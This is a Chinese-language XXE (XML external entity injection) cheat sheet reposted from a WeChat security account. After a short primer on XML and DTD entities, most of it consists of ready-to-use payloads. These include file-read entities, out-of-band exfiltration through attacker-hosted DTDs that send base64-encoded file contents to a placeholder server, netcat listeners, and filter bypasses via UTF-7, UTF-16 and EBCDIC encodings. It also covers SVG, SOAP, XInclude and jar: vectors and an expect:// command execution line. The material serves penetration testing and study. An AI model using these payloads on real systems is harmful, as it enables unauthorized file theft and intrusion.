06-XXE备忘录

admin 2024年10月31日18:23:51评论8 views字数 8875阅读29分35秒阅读模式

XXE备忘录,个人知识归档。

——前言

阅读声明:纯技术分享,文章仅供参考,文中的知识或工具仅限于读者对自己所负责的网站、服务器等进行学习研究和授权测试,严禁用于一切未授权测试和非法测试,否则产生的一切后果自行承担,与本文作者无关!!!

0x00 介绍

XXE漏洞(XML External Entity Injection) 全称为 XML 外部实体注入漏洞XXE漏洞发生在应用程序解析XML输入时,如果未能禁止外部实体的加载,攻击者就可以利用这一点加载恶意外部文件。这可能导致一系列严重后果,包括文件读取、命令执行、内网端口扫描、攻击内网网站以及发起拒绝服务攻击等。通常,XXE漏洞的触发点是在允许上传XML文件的位置,如果对上传的XML文件没有进行适当的过滤,就会导致恶意XML文件的上传。

0x01 基础

1.语法

  • 所有的XML元素都必须有一个关闭标签

  • XML标签对大小写敏感

  • XML必须正确嵌套

  • XML属性值必须加引号"value"

  • 实体引用

  • 在XML中,空格会被保留(案例如:<p>A空格B</p>,这时候A和B之间的空格就会被保留)

2.格式

XML 文档有固定的规范格式,并由DTD(document type definition)控制。

# 示例<?xml version="1.0" encoding="utf-8"?> //XML声明,定义了xml的版本是1.0,编码是utf-8//下面为DTD,xml约束<!DOCTYPE message [ //定义文档类型,any为任意类型<!ELEMENT message (receiver,sender,header,msg)> //定义message元素有四个元素:"receiver,sender,header,msg"<!ELEMENT receiver (#PCDATA)> //定义receiver元素类型<!ELEMENT sender (#PCDATA)>  //定义sender元素类型<!ELEMENT header (#PCDATA)>  //定义header元素类型<!ELEMENT msg (#PCDATA)>  //定义msg元素类型]><message>  //根元素,开始标签<receiver>Myself</receiver> //receiver元素内容为 Myself<sender>Someone</sender><header>TheReminder</header><msg>This is an amazing book</msg></message>  //结束标签

3.实体

实体必须在DTD中声明定义常用关键字:  DOCTYPE(DTD的声明)  ENTITY(实体的声明)  SYSTEM、PUBLIC(外部资源申请)

(1)通用实体

①内部实体
# 声明格式:<!ENTITY 实体名称 "实体的值"># 例:<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY[ <!ENTITY writer "Bill Gates">]><root>&writer;</root> //引用实体格式:&实体名;
②外部实体
# 声明格式:<!ENTITY 实体名称 SYSTEM "URI/URL"># 例:<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY[ <!ENTITY name SYSTEM "/etc/test.dtd"> //PUBLIC引用:<!ENTITY name PUBLIC "-//W3C//EVILPAN/EN" "/etc/test.dtd">]><root>&name;</root> //引用实体格式:&实体名;

(2)参数实体

①内部实体

# 声明格式:<!ENTITY % 实体名称 "实体的值"># 例:<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY[ <!ENTITY % name "Bill Gates"> %name; //引用实体格式:%实体名;]>

②外部实体

# 声明格式:<!ENTITY % 实体名称 SYSTEM "URI"># 例:<!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://ip:8888/test.dtd">//PUBLIC引用:<!ENTITY % name PUBLIC "-//W3C//EVILPAN/EN" "http://ip:8888/test.dtd"> %name; //引用实体格式:%实体名;]>

PS:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用;参数实体只能在DTD中定义,DTD中引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用
0x02 测试
1.常见位置
  • 允许上传XML文件位置

  • 允许上传Excel、Word、SVG等文件位置

2.XML请求判断

  • 观察数据包请求参数值格式类型判断

    <user>test</user><pass>testpass</pass>

    xml=<user>admin</user><pass>passwd</pass>

    ?xml=<?xml version="1.0"?><!DOCTYPE any [ <!ENTITY x "T">]><a>&x;</a>

  • 查看请求头Content-Type值判断
    Content-Type:text/xml
    Content-Type:application/xml
  • 更改Content-Type值,看返回结果判断
    Content-Type:text/xml

    Content-Type:application/xml

  • 特殊情况,Content-Type: x-www-urlencoded 改 text/xml

# 如果后端代码接受 XML 格式的数据,那么bady数据可以更改请求形式进行请求# 正常请求:POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 7foo=bar# 更改Content-Type和bady数据进行请求,结果相同:POST /action HTTP/1.0Content-Type: text/xmlContent-Length: 52<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

3.漏洞测试

(1)有回显

①返回包直接返回引用实体值

<?xml version="1.0"?><!DOCTYPE any [<!ENTITY xxe "test" >]><user>&xxe;</user> //根元素任意即可,不影响

②返回包有可控位置回显,根据可控参数位置进行实体引用

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE any [<!ENTITY xxe "test">]><user><username>&xxe;</username><password>test</password></user>
(2)无回显

可尝试DNSlog探测,直接试用参数实体方式引用即可

# 请求监听nc -lvv 8888 //服务器监听python -m http.server 8888 //或者python起个简单的http服务
# 带外传输<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY[<!ENTITY % name SYSTEM "http://x.x.x.x:8888/123"> %name;]>

0x03 绕过

1.编码绕过

(1)实体化编码-ASCII

# '''ASCII-DEC'''## SYSTEM >>> &#83;&#89;&#83;&#84;&#69;&#77;<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE GVI [    <!ENTITY % xml '<!ENTITY xxe &#83;&#89;&#83;&#84;&#69;&#77; "c:/1.txt" >'>%xml;]>      <message>&xxe;</message>
# '''ASCII-HEX'''## SYSTEM >>> &#x53;&#x59;&#x53;&#x54;&#x45;&#x4d;<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE GVI [    <!ENTITY % xml '<!ENTITY xxe &#x53;&#x59;&#x53;&#x54;&#x45;&#x4d; "c:/1.txt" >'>%xml;]>      <message>&xxe;</message>

(2)双重实体化编码

# SYSTEM >>> &amp;#83;&amp;#89;&amp;#83;&amp;#84;&amp;#69;&amp;#77;<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE GVI [    <!ENTITY % xml '<!ENTITY xxe &amp;#83;&amp;#89;&amp;#83;&amp;#84;&amp;#69;&amp;#77; "c:/1.txt" >'>%xml;]>      <message>&xxe;</message>

(3)base64编码

# data<?xml version="1.0"?><!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,PCFFTlRJVFkgc2VuZCBTWVNURU0gJ2ZpbGU6Ly8vYzovMS50eHQnPg=="> %init;]>     <root>&send;</root>
# PHP<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY % init SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgc2VuZCBTWVNURU0gJ2ZpbGU6Ly8vYzovMS50eHQnPg==">%init;]>     <root>&send;</root>

(4)UTF-7编码

字符 < > ! [ ] ' "
编码 ADw AD4 ACE AFs AF0 ACc ACI
字符 : ;
/
%
&
空格
编码 ADo ADs AC8 ACU ACY ACA
<?xml version="1.0" encoding="UTF-7" ?>+ADw-user+AD4-test+ADw-/user+AD4-
<?xml version="1.0" encoding="UTF-7"?>+ADw-+ACE-DOCTYPE a +AFs-+ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///c:/1.txt+ACI-+AD4-+AF0-+AD4-<user>&xxe;</user>
(5)外来编码(Exotic encodings)

<?xml version="1.0" encoding="UTF-8"?>

  • UTF-8

  • UTF-16BE

  • UTF-16LE

  • UTF-32BE

  • UTF-32LE

  • EBCDIC

 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 1 6 B E " ? > < r > t e s t < / r >
(6)两种类型编码混合绕过

PS:试用linux里的iconv工具,进行编码转换,默认utf-8

     【UTF-7、UTF-8、windows-1251相互兼容】

①声明默认utf-8,元素部分从utf-8更改为utf-16be

printf '%s' '<?xml version="1.0" encoding="UTF-16BE"?>' > xxe.xml

printf '%s' '<r>test</r>' | iconv -f utf-8 -t utf-16BE >> xxe.xml

②声明更改为utf-16le,元素部分更改为utf-16be

printf '%s' '<?xml version="1.0" encoding="UTF-16BE"?>' | iconv -f utf-8 -t utf-16le > xxe.xml

printf '%s' '<r>test</r>' | iconv -f utf-8 -t utf-16be >> xxe.xml

③声明默认utf-8,元素部分更改为ebcdic-us

printf '%s' '<?xml version="1.0" encoding="ebcdic-us"?>' > xxe.xml

printf '%s' '<r>test</r>' | iconv -f utf-8 -t ebcdic-us >> xxe.xml

2.伪协议绕过
libxml2PHPJava.NET

file

filefilefile
httphttphttphttp
ftpftphttpshttps
phpftpftp
compress.zlibjar
compress.bzip2netdoc
datamailto
globgopher *
phar
3.外部实体引用绕过
# test.dtd<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"><!ENTITY xxe "%file;"><?xml version="1.0"?><!DOCTYPE test [ <!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd"> %init;]>     <root>&xxe;</root>
# test.dtd,非参数实体调用DTD<!ENTITY % xxe '<!ENTITY file SYSTEM "file:///c:/1.txt">'><?xml version="1.0"?><!DOCTYPE test [ <!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd"> %init;%xxe;]>     <root>&file;</root>
# test.dtd,参数实体方式调用DTD(嵌套的ENTITY中,采用参数实体方式调用,%需要进行实体编码绕过)<!ENTITY % xxe '<!ENTITY &#x25; file SYSTEM "file:///c:/1.txt">'><?xml version="1.0"?><!DOCTYPE test [ <!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd"> %init;%xxe;%file;]>     <root>test</root>
# test.dtd,带外传输DTD<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"><!ENTITY % xxe "<!ENTITY &#37send SYSTEM 'http://ServerIP?p=%file;'>"><?xml version="1.0"?><!DOCTYPE test [ <!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd"> %init;%xxe;%send;]>     <root>test</root>
4.外部实体引用-报错误回显
# test.dtd (文件读取路径引用不存在目录,触发报错回显)<!ENTITY % file SYSTEM "file:///c:/1.txt"><!ENTITY % xxe "<!ENTITY send SYSTEM 'file:///c:/asdfqwe/%file;'>"><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE any [<!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd">%init;%xxe;]><user><username>&send;</username><password>123456</password></user>
5.SVG,支持XML解析
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]><svg width="128px" height="128px" >  <text font-size="16" x="10" y="20">&xxe;</text></svg> 
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="3000" version="1.1" height="200">  <image xlink:href="file:///etc/hostname"></image></svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">  <image xlink:href="expect://ls"></image></svg>
6.SOAP,支持XML解析
<soap:Body>  <foo>    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:8080/"> %dtd;]><xxx/>]]>  </foo></soap:Body>
7.XInclude绕过
<?xml version="1.0" ?><foo xmlns:xi="http://www.w3.org/2001/XInclude">  <xi:include parse="text" href="file:///c:/1.txt"/></foo>
8.输出采用base64加密绕过
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://x.x.x.x"> ]><root>&xxe;</root>
# test.dtd<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://x.x.x.x:8080/index.php?flag=%file;'>"><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE convert [<!ENTITY % remote SYSTEM "http://x.x.x.x:8080/test.dtd">%remote;%int;%send;]><root>test</root>
9.Jar: 协议

(1)介绍:

    Jar协议只能在Java的应用程序中触发,它允许访问PKZIP(.zip,.jar)中的文件,并且适用于本地或者远程文件。

(2)执行过程:

①下载 jar/zip 文件到临时文件中
②提取出我们指定的文件
删除临时文件

(3)示例:

# jar:{url}!/{entry}jar:file:///var/myarchive.zip!/1.txtjar:https://download.host.com/myarchive.zip!/1.txt<!DOCTYPE convert [ <!ENTITY  remote SYSTEM "jar:https://download.host.com/myarchive.zip!/1.txt">]><convert>&remote;</convert>

10.文档中的额外空格

<?xml                                 version="1.0"?><!DOCTYPE         any [<!ENTITY xxe "test" >]><user>&xxe;</user>
<?xml                                 version="1.0"?><!DOCTYPE                    any [<!ENTITY xxe "test" >]><user>&xxe;</user>

11.格式无效,链接到未知实体

# test.dtd<!ENTITY % start "<![CDATA["><!ENTITY % stuff SYSTEM "file:///c:/1.txt"><!ENTITY % end "]]>"><!ENTITY send "%start;%stuff;%end;"><?xml version="1.0"?><!DOCTYPE any [    <!ENTITY % init SYSTEM "http://x.x.x.x:8080/test.dtd">     %init;%aaa;    ]><user><username>&send;</username><password>123123</password></user>
***如有侵权,请私聊公众号删文***
——————————END——————————

原文始发于微信公众号(黑域之路):06-XXE备忘录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月31日18:23:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   06-XXE备忘录https://cn-sec.com/archives/3338620.html

发表评论

匿名网友 填写信息